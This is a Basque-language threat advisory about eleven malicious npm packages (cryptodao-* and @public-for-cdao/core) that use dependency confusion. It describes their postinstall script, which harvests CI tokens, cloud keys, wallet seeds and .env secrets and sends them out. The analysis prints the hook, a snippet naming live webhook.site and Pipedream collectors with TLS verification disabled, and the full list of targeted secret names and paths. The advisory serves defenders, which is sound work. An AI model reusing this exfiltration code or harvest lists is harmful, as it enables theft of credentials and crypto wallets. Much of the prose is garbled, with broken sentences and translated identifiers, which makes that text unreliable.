CryptoDAO Nahasmena: npm Paketeen Bilketa CI/CD eta Kriptografia Sekretuak

CryptoDAO Nahasmena: hamaika npm pakete, karga bakarra, bilketa CI/CD eta kripto-zorroen sekretuak

TL; DR

2026-06-17an, npm kontu bakarra argitaratu zen helburu eta karga bakarra partekatzen duten hamaika paketeHamarrek daramate cryptodao- aurrizkia (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); hamaikagarrena esparrukoa da @public-for-cdao/coreGuztiak bertsioan argitaratu ziren 99.99.99 eta byte berdineko bat bidaltzen du recon.js martxan dagoena. postinstall.

Izenak dira adierazgarriak. Kripto/DAO proiektu baten tresna-kate pribatuaren barne-eraikuntza-blokeak bezala irakurtzen dira. Artifizialki altua den npm erregistro publikoan argitaratuta, eraikuntza baten zain daude. pipeline izen horiek ebazteko konfiguratuta dagoena eta npm publikora iristen dena erregistro pribatuaren aurretik —edo horren ordez—. Hau da mendekotasun nahasmena, eta zama lurreratzea espero duen tokira doitzen da: CI/CD korrikalari.

Noiz postinstall suteak, recon.js ostalariaren xehetasunak biltzen ditu, gutxi gorabehera arakatzen du berrogei hodeiko, CI eta kripto-zorro inguruneko aldagai, edozein irakurtzen du .env aurki ditzakeen fitxategiak eta sekretuak dituzten lerroak hitzez hitz birbidaltzen ditu, eta gero sorta bi biltzaileri bidaltzen die — webhook.site eta Pipedream amaierako puntu bat — TLS ziurtagiriaren egiaztapena desgaituta duena. Kopia bat ere idazten da honen azpian /tmp.

Larritasun: altuaKaltetutako ekosistema: NPMHamaika pakete guztiak martxan zeuden idazteko unean.

Erasoaren anatomia

Mekanismoak lau pieza mugikor ditu, eta horietako bat ere ez da sotila behin jakinda. begiratu paketearen izenaren geruza bat haratago.

1. Bertsioen inflazioa ebazle amu gisa. Pakete bakoitzak bertsioa deklaratzen du 99.99.99Mendekotasunen nahasmena pakete kudeatzaile batek eskatzen duenean gertatzen da. barne izena, erregistro publikoa ere egiaztatzen du eta bertsiorik altuena aukeratzen du aurkitzen du. npm-ren lehenetsitako hautaketa zirkunferentzia- edo karaktere-komodin-barruti baterako da konfiguratutako iturri guztietan bertsio asegarriena; pribatu bat bada biak erregistroak eta npm publikoak izen berarentzako erantzuna badute, bertsio zenbaki handiagoak irabazten du. A 99.99.99 proiektu batek izango duen edozein barne bertsio erreal gainditzen du funtsean lortuta, beraz, iturri pribatura lotuta ez dagoen ebazle batek nahiago du kopia publikoa —eta kasu honetan, etsaia—. Operadoreak ez du jakin beharrik helburuaren benetako bertsio zenbakiak; gehienezko absurdu bat aukeratzeak berdinketa beti bermatzen du bidea hausten die.

2. Instalazio osteko abiarazle bat. paketea.json karga instalaziora kableatzen du bizi-zikloa:

{   "scripts": { "postinstall": "node recon.js" } }

Ez da paketea inportatu beharrik. Instalatu besterik ez dago — CI batek... pipeline automatikoki egiten du — exekutatzen da recon.js.

3. Miaketa sekretu zabala. recon.js emaitza-array bat etapatan muntatzen du:

  • Host testuingurua: host izena, plataforma eta bertsioa, arkitektura, erabiltzaile izena, funtzionamendua direktorioa.
  • Inguruneko aldagaiak: berrogei izen eta erregistro inguruko zerrenda finko bat iteratatzen du ezarrita daudenak. Zerrenda agerian uzten du: CI token generikoak parekatzen ditu (CI_JOB_TOKEN, CI_ERREGISTROA_PASAHITZA, GITLAB_ACCESS_TOKEN) eta hodeia kredentzialak (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) erregistroko eta edukiontzi sekretuekin (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) eta kriptografia-zapore nabarmeneko kluster bat:  GILTZA_PRIBATUA, MNEMONIKOA, HAZI_ESALDIA, INFURA_API_GAKOA, ALKIMIA_API_GAKOA, ETH_RPC, BSC_RPCErregistratutako balioak lehenengo 50 karaktereetara moztuta daude.
  • .env fitxategiak: bide-zerrenda bat aztertzen du — .env, ../.ingurunea, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, eta .ekoizpena/garapena aldaerak — eta existitzen den edozein fitxategirentzat, edukia bat datozen lerroetara iragazten du GILTZA|SEKRETUA|TOKEN|PASARTEA|PRIBATUA|MNEMONIKOA eta lerro horiek **osorik, moztu gabe** emaitzetara sartzen ditu.
  • Build-host testuingurua: lehenengo 20 sarrerak zerrendatzen ditu /eraikitzen/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, eta / Tmp /.

Bide-zerrenda eta aldagai-zerrenda GitLab-eko exekutatzaileetara bideratuta daude, eta horrek adierazten du karga zuzenean auto-ostatutako CI azpiegituran, garatzaile batean baino ordenagailu eramangarria. Uzta-zerrenda kategoriaren arabera taldekatzeak argi uzten du zein den nahi den harrapakina:

Kategoria Aldagaiak / lortutako bideak
CI/CD identitatea eta hedapena CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Erregistroa eta edukiontzia NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Datu-biltegiak DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Kriptograma / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Mezularitza SLACK_TOKEN, DISCORD_TOKEN
Diskoan .env familia + /home/gitlab-runner/.env, /root/.env, /app/**/.env; direktorioko zerrendak /builds/, /var/lib/gitlab-runner/

Kripto-klusterra da hau CI-sekretu generiko batetik bereizten duen zatia. miaketa: zorroaren hazi-esaldiak eta sinadura-giltzak ingurune batean bakarrik agertzen dira blockchain proiektua, eta zuzenean mapatzen dira kriptodao-/zeinu/kontratuak eramaileen izendapena.

4. Egiaztapena desgaituta duen kanporatze bikoitza. Bildutako matrizea da serializatu eta bi helmugatara bidali da:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

ukatuBaimenik gabe: faltsua irteerako TLS ziurtagirien egiaztapenak desaktibatzen ditu deiak. Datu berdinak irteera estandarrean inprimatzen dira (beraz, CI lan-erregistroetan ere agertzen dira) eta idatzita /tmp/.npm_recon_ .jsonErroreak isilean irensten dira, beraz huts egindako bidalketak ez du instalazio-irteeran arrastorik uzten bakar bat baino gehiago [berrikuspena] instalatuta line.

Fitxategiko iruzkin nagusi batek "Mendekotasun Nahasmena" bezala deskribatzen du. "Ezagutze-karga". Ingurune-balioak 50 karakteretara moztu dira. kontzeptu-froga baten forma. Presentzia-bakarrik dagoen baliza baten atzean mugitzen duena da .env manipulazioa: sekretudun lineak osorik birbidaltzen dira, eta helmugak bi biltzaile funtzionatzen dituzte, erasotzaileak kontrolatzen dituenak, balio duen hustubide baten ordez hits.

Timeline

Argitaratze-eredua script bidezko bultzada bakar baten sinadura da, ez hamaika. kargatze independenteak.

Ordua (UTC, 2026-06-17) Gertaera
03:24:58 cryptodao-bot@99.99.99 argitaratu
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — aldaera mugatua, ~24 minutu geroago

Hamar pakete irten ziren 29 segundoko epean, hiru segundoro bat gutxi gorabehera. Esparrua @cdao-rako-publikoa/nukleoa 24 minutu inguru geroago jarraitu zuen — bigarren bat helburu beraren izendapen-konbentzioa, kontsumitzen duen proiektuak erreferentzia egiten badio barne tresna-katea esparru baten pean, izen soil gisa baino.

Konpromisoaren adierazleak

Mota Adierazlea
Collector hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Collector hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Instalatu kakoa postinstall: node recon.js
Fitxategia erori da /tmp/.npm_recon_<timestamp>.json
Enbor-markatzailea [recon] <pkg>@<ver> installed on <hostname> (CI erregistroetan irteera estandarra)
Jokabidearen rejectUnauthorized: false instalazioan zehar irteerako HTTPS bidez
karga recon.js, berdina hamaika pakete guztietan (eraikuntza partekatu bat)
Bertsio 99.99.99 pakete guztietan.
Paketeak cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (all 99.99.99)
Argitaratzailea aduljune / aduljune@proton.me (e-posta egiaztatu gabe, ez dago iturburu-biltegirik lotuta)

 Atribuzioa eta behatutako portaera

Klusterraren inguruko guztia esku batera seinalatzen du. Hamaika pakete guztiak argitaratu ziren. npm kontuaren bidez aduljune (aduljune@proton.me, egiaztatu gabeko helbidea, ez duena lotutako iturburu-biltegia), 25 minutuko epean, aldi berean 99.99.99 bertsioa, bidalketa bat recon.js zeinen edukia bytez byte berdina den guztietan paketea (MD5 bat dator erauzitako hamaika kopia guztietan). Hori zama bat da izen-zerrenda batean zigilatua, ez kode independentearen berrerabilpena.

Izen-zerrendak helburu zehatza definitzen du. kriptodao-* cdao deskribatu kriptografia/DAO proiektu baten modulu pribatuaren diseinua, eta kargaren uzta zerrenda asmatzen duten ispiluak: CI eta hodeiko sekretu generikoekin batera, zehazki iristen da GILTZA_PRIBATUA, MNEMONIKOA, HAZI_ESALDIA, eta Ethereum/BSC RPC eta hornitzailearen gakoak. The .env bilaketa-bideak eta direktorioen zerrendak GitLab-runner dira espezifikoa. Beha daitekeen efektua edozein dela pipeline hauek instalatzera engainatu zuten izenek bere CI tokenak, hodeiko gakoak eta diskoan birbidaliko lituzkete .env sekretuak — eta, horretarako blockchain proiektu bat, bere zorro materiala — bi hirugarrenen bildumagileei.

Ez dugu aldarrikatzen nork kudeatzen duen kontua edo zer egiteko asmoa zuten kontuarekin. datuak. Beren kabuz dauden datuak: izenak mota espezifiko bati zuzenduta daude barneko tresna-katea, kargak benetako balio sekretuak irakurri eta transmititzen ditu, eta azpiegitura martxan zegoen.

Eragina, joerak eta defendatzaileen gidalerroak

Mendekotasun nahasmena eraginkorra izaten jarraitzen du ebazlearen portaera ustiatzen duelako, ez ahultasuna edozein paketetan. Hemen garraiolaria hutsala da — hamaika ia hutsik paketeak — baina leherketa-erradioa edozein dela ere pipeline okerrez nahiago du npm publikoa barne izen baterako. CI exekutoreak dira hori gertatzeko lekurik txarrena: eusten dute zehazki tokenak eta .env karga honek irakurtzen dituen fitxategiak, eta instalatzen dituzte mendekotasunak modu ez-interaktiboan, beraz instalazio osteko inork begira gabe korrika doa.

Kluster honek ikusten dugun eredu bati jarraitzen dio: instalazio-garaiko kargak aurkezten dituztenak benetako kredentzialen bilketa egiten den bitartean “ikerketa” edo “ezagutza” gisa. Etiketa fitxategian egoteak ez du aldatzen kodeak exekutatzaile batean egiten duena. Bi diseinu aukera mantentzen dira jarduera isila: sare eta fitxategi-sistemaren eragiketa guztiak bilduta daude erroreak baztertzen dituen salbuespen kudeatzailea, beraz, blokeatutako bidalketa edo falta den fitxategi bat ez du diagnostiko-irteerarik sortzen, eta inprimatzen den gauza bakarra kaltegabea da [berrikuspena] … instalatuta ohiko instalazio-txatarekin nahasten den lerroa. Honen erabilera webhook.gunea eta Pipedream ere nahita erosoa da — biak doakoak dira, eskaerak jasotzeko zerbitzuak berehala hornituta, beraz, operadoreak ez du zerbitzaririk behar berenak eta helmugak irteerako erregistroetan ohiko SaaS hostname-ak bezala agertzen dira.

Ekonomia da defendatzaile baten arreta merezi duena, nahiz eta garraiolariaren kodea hutsala da. Hamaika izen erregistratzeak ez du ezer kostatzen, karga bakarra da fitxategia hamaika aldiz kopiatu da, eta pakete kudeatzaileak egiten du exekuzio guztia. Bakarra gaizki konfiguratuta pipeline izen horietako bat kontsumitzen duen edonork osorik ordaintzen du operazioa.

Defendatzaileentzako urrats zehatzak:

  • Jarri barne-esparruak zure erregistro pribatura. Konfiguratu npm barne izenak beraz
     eta esparruek zure erregistroaren aurka bakarrik ebazten dute (esparrudun .npmrc erregistroko mapaketak,
    edo jabetzako izen-espazioetarako npm publikora inoiz sartzen ez den proxy bat). Erreserbatu zure esparru publikoko izenak inork erregistratu ez ditzan.
  • Commit blokeatu fitxategiak eta instalatu –ignore-scripts-ekin CI-n bideragarria den kasuetan, edo Benetan instalazio-gidoiak behar dituzten mendekotasun multzo txikia egiaztatu.  recon.js ezin da exekutatu baldin eta instalazio osteko ez da exekutatzen.
  • Barne itxura duen izen baten 99.99.99ko bertsio bat (edo absurduki garestia) tratatu bandera gorri gisa mendekotasunen berrikuspenean eta erregistroaren monitorizazioan.
  • Instalazio-garaiko irteerari buruzko alerta. A instalazio osteko irteerako HTTPS bat irekitzen duena konexioa — batez ere ziurtagiriaren egiaztapena desgaituta dagoenean — webhook.site, Pipedream edo antzeko eskaerak harrapatzeko zerbitzuak sarearen ertzean blokeatzea eta eraikuntza-erregistroetan markatzea komeni da.
  • Bilatu artefaktuak. Korrikalariak egiaztatu /tmp/.npm_recon_*.json eta horretarako [berreskuratzea] … instalatuta … markatzailea azken CI erregistroetan. Aurkituz gero, biratu behin kredentziala horren eraginpean pipeline — CI tokenak, hodeiko giltzak, erregistroko tokenak eta ingurunean edo .env fitxategietan dauden zorro-hazi edo giltza pribatu guztiak.

Erreferentziak

Idazteko unean ez zegoen kanpoko txostenik multzo honi buruz; analisia Goikoa zuzenean argitaratutako paketearen edukian oinarritzen da

sca-tools-software-konposizio-analisi-tresnak
Lehentasuna eman, konpondu eta babestu zure software arriskuak
Lortu zure doako kontua.
Ez da beharrezkoa kreditu txartelik.

Ziurtatu zure softwarearen garapena eta entrega

Xygeni produktu multzoarekin